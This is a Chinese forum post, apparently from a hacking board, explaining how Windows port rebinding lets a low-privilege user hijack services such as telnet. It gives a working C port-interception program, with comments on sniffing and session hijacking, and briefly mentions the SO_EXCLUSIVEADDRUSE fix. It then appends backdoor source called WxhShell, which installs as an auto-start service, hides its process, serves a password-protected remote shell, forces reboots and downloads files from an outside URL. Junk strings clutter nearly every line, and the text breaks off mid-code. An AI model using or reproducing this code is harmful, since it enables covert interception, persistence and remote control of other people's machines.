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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5@%=LPV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?GMeA}j  
wJ]$'c3  
  saddr.sin_family = AF_INET; %.atWX`b  
D !D%.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IpaJ<~ p  
BGh8\2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WX[dM }L  
>`,#%MH#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EK-bvZ  
l`5}i|4KTW  
  这意味着什么?意味着可以进行如下的攻击: o y%g{,V  
Q&U= jX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n.H`1@  
Kjca>/id  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) in;+d~?  
r<f-v_bxF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~E:/oV:4 >  
i7w}`vs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n4d(`  
~BYEeUo;%v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3 z/O`z  
?'$. -z:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZsK'</7  
+[l{C+p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I}Gl*@K&O  
)*L?PT  
  #include cX=b q_  
  #include Dil4ut- $  
  #include dU04/]modD  
  #include    [Xo J7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '?!<I  
  int main() &MGgO\|6  
  { Z`1o#yZ  
  WORD wVersionRequested; D<L{Z[  
  DWORD ret; h|/*yTuN.y  
  WSADATA wsaData; VT~ ^:-]  
  BOOL val; qI%9MI;BV  
  SOCKADDR_IN saddr; QX~72X=(  
  SOCKADDR_IN scaddr; xyJgHbml  
  int err; <wGT s6  
  SOCKET s; Xk fUPbU  
  SOCKET sc; f.xSr!  
  int caddsize; zm^p7&ak$  
  HANDLE mt; ah@GSu;7  
  DWORD tid;   U>M>FZ  
  wVersionRequested = MAKEWORD( 2, 2 ); -3XnK5  
  err = WSAStartup( wVersionRequested, &wsaData ); nh.v?|  
  if ( err != 0 ) { w7ABnX  
  printf("error!WSAStartup failed!\n"); "@'9+$i6  
  return -1; ;>hPHx  
  } h^,YYoA$  
  saddr.sin_family = AF_INET; d5W[A#}  
   I:2jwAl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q]koj!mMl  
O7_NXfh|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K]azUK7  
  saddr.sin_port = htons(23); }j<_JI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #(}_2x5  
  { ewlc ^`  
  printf("error!socket failed!\n"); Q^5 t]HKn  
  return -1; &7y1KwfXn  
  } WRyv >Y  
  val = TRUE; `fE:5y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E ^>7jf09,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L$07u{Q  
  { Vblf6qaBs  
  printf("error!setsockopt failed!\n"); 5suSR;8  
  return -1; hdDI%3vk3  
  } O#Ax P}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]$k m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gG z_t,=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [8g\pPQ  
!~DkA7i55  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i*rv_G|(Zj  
  { ~CTRPH   
  ret=GetLastError(); w5G34[v  
  printf("error!bind failed!\n"); vP;tgW9Qk  
  return -1; -kS5mR  
  } T//+&Sk[  
  listen(s,2); /]58:euR  
  while(1) G!lykk]  
  { )uJ`E8>-  
  caddsize = sizeof(scaddr); WQ`P^5e  
  //接受连接请求 20xGj?M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x-k /rZ  
  if(sc!=INVALID_SOCKET) <5L`d}  
  { AyXKhj#Ml  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5N}|VGN  
  if(mt==NULL) 0 #; s{7k  
  { y,eoTmaI  
  printf("Thread Creat Failed!\n"); {*  _ W  
  break; ^O9m11  
  } <}>-ip?  
  } -P uVI5L<  
  CloseHandle(mt); Ho{?m^  
  } 8y )i,"  
  closesocket(s); -BH'.9uqGQ  
  WSACleanup(); ?O]gFn  
  return 0; NY w(hAPv  
  }   78A4n C  
  DWORD WINAPI ClientThread(LPVOID lpParam) $w}aX0dK&  
  { % ieAY-<"  
  SOCKET ss = (SOCKET)lpParam; m`6`a|Twp$  
  SOCKET sc; 5w%9b  
  unsigned char buf[4096]; e/l?|+m 6  
  SOCKADDR_IN saddr; fA,!d J  
  long num; _C\ d^a (  
  DWORD val; o[*ih\d  
  DWORD ret; eh=bClk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nr%^:u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q"vT]=Y}:  
  saddr.sin_family = AF_INET; h v+i{Z9!]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 438> )=  
  saddr.sin_port = htons(23); A}}t86T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O$ oN1  
  { ;L{y3CWT  
  printf("error!socket failed!\n"); ?AH<y/i<Y  
  return -1; e q.aN3KB"  
  } $ O>MV  
  val = 100; k.hSN8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Sb%]f5(  
  { r!=VV!XZ  
  ret = GetLastError(); g9`ytWmM  
  return -1; gC:E38u  
  } "A$Y)j<#G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^E8Hv  
  { L^Af3]]2  
  ret = GetLastError(); +1A<kJ  
  return -1; .h } D%Qa  
  } ZuON@(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QpZhxp  
  { P,], N)  
  printf("error!socket connect failed!\n"); \p|!=H@  
  closesocket(sc); m)2U-3*iX  
  closesocket(ss); N($]))~3&  
  return -1; ?q6eV~P  
  } 9]9(o  
  while(1) *]k"H`JoFC  
  { n*|-"'j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AY]nc# zz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "R]K!GUU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `hhG^ O_  
  num = recv(ss,buf,4096,0); 2Ki/K(  
  if(num>0) L~zet-3UNf  
  send(sc,buf,num,0); 6ns_4, e  
  else if(num==0) a&PZ7!PZv  
  break; :H 7 "W<  
  num = recv(sc,buf,4096,0); "d\8OOU  
  if(num>0) 43fA;Uc{Y`  
  send(ss,buf,num,0); CbQ%[x9|  
  else if(num==0) @5ybBh]   
  break; )FCqYCfk  
  } n(MEG'9}  
  closesocket(ss); I!bZ-16X  
  closesocket(sc); `_ L|I s=n  
  return 0 ; 7u(i4O& k  
  } &ICO{#v5  
F!<x;h(  
8hY)r~!b'  
========================================================== G 0 yt%qHE  
x]M1UBnMN  
下边附上一个代码,,WXhSHELL }9dgm[C[b  
DKH9 O  
========================================================== w[_Uv4M  
K!mgh7Dx  
#include "stdafx.h" ' ga2C\)  
HBu>BSv:  
#include <stdio.h> YG|T;/-  
#include <string.h> }Z=Qy;zk  
#include <windows.h> L i^V?  
#include <winsock2.h> oPV"JGa/B4  
#include <winsvc.h> .:/@<V+K  
#include <urlmon.h> `z.#O\@o  
]QQ"7_+  
#pragma comment (lib, "Ws2_32.lib") <k1gc,*  
#pragma comment (lib, "urlmon.lib") 4 n( f/  
W525:h52{  
#define MAX_USER   100 // 最大客户端连接数 %Z|*!A+wN5  
#define BUF_SOCK   200 // sock buffer V _,*  
#define KEY_BUFF   255 // 输入 buffer SfR_#"Uu  
5{[0Clb)  
#define REBOOT     0   // 重启 m9S5;kB]  
#define SHUTDOWN   1   // 关机 gS 3&,^  
8a {gEZT,  
#define DEF_PORT   5000 // 监听端口 v]>(Ps )R  
8'$n|<1X  
#define REG_LEN     16   // 注册表键长度 y.2 SHn0  
#define SVC_LEN     80   // NT服务名长度 N3)EG6vE*  
.nJGxz+X"  
// 从dll定义API `pr,lL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z$@Nzza-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U# gmk0>t{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zuf&maa S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4a~_hkY]  
!k) ?H* ^@  
// wxhshell配置信息 :gn!3P}p?  
struct WSCFG { *np|PyLP:  
  int ws_port;         // 监听端口 K9iR>put  
  char ws_passstr[REG_LEN]; // 口令 (A_9;uL^_  
  int ws_autoins;       // 安装标记, 1=yes 0=no >E#4mm  
  char ws_regname[REG_LEN]; // 注册表键名 uNjy&I:  
  char ws_svcname[REG_LEN]; // 服务名 Q]C1m<x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ijfT!W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K[H$qJmPX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hl51R"8o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o/#e y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j~0hAKHG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z#b6 aP  
c3+vtP&  
}; li?Gb1  
W=/B[@3'  
// default Wxhshell configuration S6uBk"V!  
struct WSCFG wscfg={DEF_PORT, lK0coj1+  
    "xuhuanlingzhe", z!tHn#  
    1, t<-Iiq+tL  
    "Wxhshell", $= gv  
    "Wxhshell", @NZ?D0"  
            "WxhShell Service", U.\kAEJ  
    "Wrsky Windows CmdShell Service", VlH9ap  
    "Please Input Your Password: ", ,h"M{W$  
  1, Q6E80>  
  "http://www.wrsky.com/wxhshell.exe", !Iqyt. .  
  "Wxhshell.exe" OLq/OO,w  
    }; rHznXME$wZ  
/C"E*a  
// 消息定义模块 a"EXR-+8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MWB?V?qPSC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {v(3[ 7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % rkUy?=vu  
char *msg_ws_ext="\n\rExit."; gyIPG2d  
char *msg_ws_end="\n\rQuit."; H3JWf MlW  
char *msg_ws_boot="\n\rReboot..."; RAvV[QkT  
char *msg_ws_poff="\n\rShutdown..."; f-PDgs   
char *msg_ws_down="\n\rSave to "; 6xwC1V?:0t  
}0I! n@  
char *msg_ws_err="\n\rErr!"; 5we1q7  
char *msg_ws_ok="\n\rOK!"; &Ef'5  
\|kU{d0  
char ExeFile[MAX_PATH]; ry:tL0;;e#  
int nUser = 0; ke0Vy(3t{h  
HANDLE handles[MAX_USER]; zK}.Bhj#  
int OsIsNt; JP#m} W  
-<.>jX  
SERVICE_STATUS       serviceStatus; x~ I cSt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?AR6+`0  
4&tY5m>  
// 函数声明 J?{uG8)  
int Install(void); ?U&onGy  
int Uninstall(void); Xa36O5$4]9  
int DownloadFile(char *sURL, SOCKET wsh); j&F&wRD%r  
int Boot(int flag); umc!KOkL  
void HideProc(void); l ^{]pD  
int GetOsVer(void); iC 2:P~  
int Wxhshell(SOCKET wsl); g\ 2Y605DM  
void TalkWithClient(void *cs); % nR:Rc!  
int CmdShell(SOCKET sock); eb7`R81G  
int StartFromService(void); <I7UyCAF  
int StartWxhshell(LPSTR lpCmdLine); %k"-rmW  
6_XTeu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7l?-2I'c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `*! .B  
nRvV+F0#  
// 数据结构和表定义 F4*f_lP  
SERVICE_TABLE_ENTRY DispatchTable[] = 9K)2OX;$w  
{ hsi#J^n{  
{wscfg.ws_svcname, NTServiceMain}, = fm/l-P@  
{NULL, NULL} Mv_4*xVc  
}; Te;`-E L  
p!=/a)4X  
// 自我安装 5ES$qYN  
int Install(void) -)w/nq  
{ avdi9!J2  
  char svExeFile[MAX_PATH]; V /|@   
  HKEY key; ]F,5Oh :OY  
  strcpy(svExeFile,ExeFile); (UpSi6?\  
~s+\Y/@A  
// 如果是win9x系统,修改注册表设为自启动 ).LJY<A  
if(!OsIsNt) { h.PY$W<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dP )YPy_`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NVP~`sxiZ  
  RegCloseKey(key); 07n=H~yU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W Qe>1   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ko>vQ4]3  
  RegCloseKey(key); yVSJn>l!  
  return 0; M^H357r%  
    } +3VY0J  
  } j  $L  
} %h^; "|Z  
else { ugOcK Gf  
a93Aj  
// 如果是NT以上系统,安装为系统服务 (g5T2(_6L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6ZX{K1_q  
if (schSCManager!=0) PM ,I?lJ,  
{ V;9.7v  
  SC_HANDLE schService = CreateService 23 3jT@Z  
  ( }6`#u :OZ  
  schSCManager, y/E%W/3  
  wscfg.ws_svcname, q^EG'\<^  
  wscfg.ws_svcdisp, /1Ndir^c  
  SERVICE_ALL_ACCESS, y "gYv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s(-$|f+s  
  SERVICE_AUTO_START, x-cg df  
  SERVICE_ERROR_NORMAL, L_O m<LO2  
  svExeFile, =ayl~"bW  
  NULL, lRn>/7sg$  
  NULL, b16\2%Ea1  
  NULL, ~r+;i,,X  
  NULL, kz]qk15w  
  NULL %-> X$,Q :  
  ); A=>%KQc?  
  if (schService!=0) dQTJC %]O  
  { z;D[7tT  
  CloseServiceHandle(schService); z" 4$mh  
  CloseServiceHandle(schSCManager); (zte'F4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2e#hJ-/`-  
  strcat(svExeFile,wscfg.ws_svcname); <\Lii0hi!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #TXgV0\F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QrDI$p7;'  
  RegCloseKey(key); *$Bx#0J8  
  return 0; qo/`9%^E?  
    } iU5M_M$G  
  } kect)=T(  
  CloseServiceHandle(schSCManager); b@"#A8M  
} Nn>Oq+:  
} ??)IPRv?yF  
uL`_Sdjw  
return 1; k,OP*M  
} DOyYy~Q  
v:|_!+g:  
// 自我卸载 )$XcO]  
int Uninstall(void) 274F+X  
{ ?31#:Mg6g+  
  HKEY key; 7 wH9w  
W:' H&`0  
if(!OsIsNt) { G*JasHFs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^,*!Qk<c  
  RegDeleteValue(key,wscfg.ws_regname); BRyrdt*_e  
  RegCloseKey(key); L3pNna  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }I`"$2   
  RegDeleteValue(key,wscfg.ws_regname); /'O? 8X<  
  RegCloseKey(key); nF`_3U8e  
  return 0; 16Cd0[h?  
  } c<fl6o)  
} \AQ*T`Dq  
} c>mTd{Abi  
else { v4OroG=^  
#-W a3P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N"L@  
if (schSCManager!=0) 9bwG3jn4?  
{ 8`Ih> D c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QbrR=[8b  
  if (schService!=0) [3o^06V8j  
  { #%5[8~&  
  if(DeleteService(schService)!=0) { 0w<vc}{t  
  CloseServiceHandle(schService); D?A3p6%  
  CloseServiceHandle(schSCManager); Y?IvG&])  
  return 0; ?g+uJf  
  } z>}H[0[#  
  CloseServiceHandle(schService); ';'gKX!9V  
  } }6b" JoC  
  CloseServiceHandle(schSCManager); j2^Vz{  
} yGj'0c::  
} b v5BV  
4z6kFQgu  
return 1; |q!O~<H@  
} QN)EPS:y  
Q!.JV. (  
// 从指定url下载文件 ^Q,-4\ec  
int DownloadFile(char *sURL, SOCKET wsh) V96:+r  
{ fkk&pu  
  HRESULT hr;  2:GS(%~  
char seps[]= "/"; t[}&*2"$/  
char *token; I'[gGK4 F  
char *file; p.)IdbC`B  
char myURL[MAX_PATH]; [+;>u|  
char myFILE[MAX_PATH]; Zmx[:-  
` "Lk@  
strcpy(myURL,sURL); o=C:=  
  token=strtok(myURL,seps); 0Sx$6:-~  
  while(token!=NULL) qg1tDN`s  
  { r|av|7R  
    file=token; Dqu?mg;L  
  token=strtok(NULL,seps); ;T hn C>U  
  } `]F}O \H  
M,w5F5  
GetCurrentDirectory(MAX_PATH,myFILE); $/J4?Wik  
strcat(myFILE, "\\"); $-AG $1  
strcat(myFILE, file); ^J~5k,7jX  
  send(wsh,myFILE,strlen(myFILE),0); L+ K,Y:D!W  
send(wsh,"...",3,0); y?OK#,j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L5DeLF+  
  if(hr==S_OK) >v#6SDg  
return 0; e5 N$+P"  
else t XfXuHa  
return 1; ~`yO@f;D  
T0|hp7WM  
} kltorlH  
JO-FnoQK  
// 系统电源模块 @PzRHnT*  
int Boot(int flag) %1\~OnT  
{ bt'lT  
  HANDLE hToken; P1_6:USBM  
  TOKEN_PRIVILEGES tkp; YgV"*~  
s7?d_+O  
  if(OsIsNt) { # KUN ZW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XcFu:B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); weH;,e*r  
    tkp.PrivilegeCount = 1; N1fPutl$a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \%}w7J;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sc14F Fs  
if(flag==REBOOT) { W %<,GV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r;~7$B)  
  return 0; W#9A6ir>  
} g|Xjw Ti8$  
else { C23Gp3_0/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AGhr(\j  
  return 0; `D $ "K1u  
} Y>2oU`ly,  
  } QC Jf   
  else { h^v+d*R N  
if(flag==REBOOT) { E3V_qT8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'i:S=E F  
  return 0; f]NaQ!. 7  
} xey?.2K1A  
else { * `3+x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Owz>g4l r  
  return 0; |33_="  
} {Q021*xt/  
} bQ`2ll*(  
'$h0l-mQ  
return 1; 0ky3rFSh1  
} 1VA%xOURh  
m`&6[[)6~  
// win9x进程隐藏模块 RveEA/&&  
void HideProc(void) mXT{c=N)w  
{ $C t(M)  
efK WR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C]a iu  
  if ( hKernel != NULL ) 09 v m5|  
  { R^6]v`j;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \SooIEl@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PG{"GiZz=  
    FreeLibrary(hKernel); )uO 3v  
  } E?h'OR@_ L  
5Z>+NKQ  
return; ZMEYF!j N  
} ,8.zbr  
I:UN2`*#  
// 获取操作系统版本 \Icd>>)*  
int GetOsVer(void) !DBaC%TGC  
{ G LA4O)  
  OSVERSIONINFO winfo; ~p{ fl?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mk/ZEyq^  
  GetVersionEx(&winfo); U]Fnf?(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Va$JfWef  
  return 1; <z QUa  
  else "y-/ 9C  
  return 0; Tffdm  
} yK>s]65&  
>mMmc!u>G  
// 客户端句柄模块 mr+8[0  
int Wxhshell(SOCKET wsl) ;F:Qz^=.a  
{ ejpSbVJ  
  SOCKET wsh; Bgs,6:  
  struct sockaddr_in client; \ccCrDz  
  DWORD myID; B/K{sI  
@<$_X1)s  
  while(nUser<MAX_USER) ;HmQRiCg  
{ ^.>XDUO F  
  int nSize=sizeof(client); S[y?>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TUi<  
  if(wsh==INVALID_SOCKET) return 1; /mQ9} E4X  
s;,ulME  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YH3[Jvzf4  
if(handles[nUser]==0) =k2"1f~e  
  closesocket(wsh);  s x)x7  
else `aM8L  
  nUser++; a;v;%rs  
  } nm`}Z'&)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  WYW@%t  
9R N ge;*  
  return 0; KV|ywcGhT  
} d[&Ah~,  
kOV6O?h  
// 关闭 socket ;'oi7b  
void CloseIt(SOCKET wsh) $ItPUYi";  
{ oN[# C>#(  
closesocket(wsh); y*j8OA.S  
nUser--; ?j$*a7[w  
ExitThread(0); H8$";T(I  
} zf A"xD  
Ip*[H#h  
// 客户端请求句柄 J Sms \  
void TalkWithClient(void *cs) 2KSt4oa  
{ s/OXZ<C|  
u`wT_?%w  
  SOCKET wsh=(SOCKET)cs; C44*qiG.  
  char pwd[SVC_LEN]; ^ =RSoR  
  char cmd[KEY_BUFF]; O;RNmiVoq  
char chr[1]; '?b.t2  
int i,j; 8zH/a   
UpqDGd7M  
  while (nUser < MAX_USER) { {ud^+I&  
2"B3Q:0he|  
if(wscfg.ws_passstr) { Ffr6P }I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n$jf($*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V2*m/JyeB  
  //ZeroMemory(pwd,KEY_BUFF); 5YgUk[J  
      i=0; 0u8(*?  
  while(i<SVC_LEN) { ]|4mD3O  
6N'HXL UlQ  
  // 设置超时 }9>X M  
  fd_set FdRead; &>z}u&oF  
  struct timeval TimeOut; * TR ~>|  
  FD_ZERO(&FdRead); 6WEu(}=  
  FD_SET(wsh,&FdRead); C lzz!v  
  TimeOut.tv_sec=8; UE/N-K)`  
  TimeOut.tv_usec=0; %M;{+90p>t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Av%[G5=h#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J9`[Qy\  
Q)Zk UmW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0:k ~  lz  
  pwd=chr[0]; *,p16"Q;  
  if(chr[0]==0xd || chr[0]==0xa) { Vr<ypyC  
  pwd=0; D(gpF85t  
  break; -Q P&A >]7  
  } QLAyX*%B  
  i++; TkV$h(#!f&  
    } g bwg3$!9  
!Mk:rO-L  
  // 如果是非法用户,关闭 socket ,__|SnA.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s`"ALn8m  
} .X(ocs$}  
# fl%~Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pd X"M>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &<%U7?{~  
w\3'wD!  
while(1) { 7`6JK  
IXmO1*o@  
  ZeroMemory(cmd,KEY_BUFF); POvpaPAZ<  
kEs=N(  
      // 自动支持客户端 telnet标准   G/C5o=cY  
  j=0; $; t#pN/`  
  while(j<KEY_BUFF) { Ss{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {T[/B"QZG  
  cmd[j]=chr[0]; #L,5;R{`  
  if(chr[0]==0xa || chr[0]==0xd) { 'BwM{c-O"  
  cmd[j]=0; n)rF!a  
  break; =AJ I3 'x  
  } 2 -M]!x)  
  j++; A[m4do  
    } AAt<{  
ld*RL:G  
  // 下载文件 Rd.[8#7VE  
  if(strstr(cmd,"http://")) { G0eJ<*|_ 3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ig6>+Mw  
  if(DownloadFile(cmd,wsh)) mLn =SU{#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q7% eLJ  
  else 5CuK\<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH-*`*  
  } T4{&@b 0*  
  else { CfnRcnms  
eX>X=Ku  
    switch(cmd[0]) { JSQ*8wDcl  
  84*Fal~Som  
  // 帮助 tr\Vr;zd  
  case '?': { !j.jvI%e;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;.r >  
    break; #Rdq^TGMi;  
  } weiqt *,8  
  // 安装 _"`U.!3*  
  case 'i': { v#`Wf}G  
    if(Install()) {1 94u %'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x 1"ikp}  
    else = pS\gLQu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4GRmo"S  
    break; ~f2zMTI|  
    } gaJIc^O  
  // 卸载 M('cG  
  case 'r': { Xsc5@O!  
    if(Uninstall()) YA>du=6y\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$\Y,9E}x  
    else @.X}S "yr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c#e_Fs  
    break; 8EPV\M1%  
    } ft[g1  
  // 显示 wxhshell 所在路径 ^eEj 5Rh  
  case 'p': { *<!W k\  
    char svExeFile[MAX_PATH]; =`X@+~%-  
    strcpy(svExeFile,"\n\r"); G K @]61b  
      strcat(svExeFile,ExeFile); f.=4p^  
        send(wsh,svExeFile,strlen(svExeFile),0); pstQithS  
    break; SJ-g2aAT  
    } ^q,KR ut  
  // 重启 f6Wu+~|Y  
  case 'b': { X?.bE!3=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TUEEwDK-  
    if(Boot(REBOOT)) '.@R_sj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Ib/}JST  
    else { h tn2`  
    closesocket(wsh); t?]6>J_V  
    ExitThread(0); %Ys>PzM  
    } #?i#q%q  
    break; 0 n,5"B  
    } [j0I}+@4H  
  // 关机 BifA&o%  
  case 'd': { ~&~%qu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .so{ RI  
    if(Boot(SHUTDOWN)) ?8(`tS(_?  
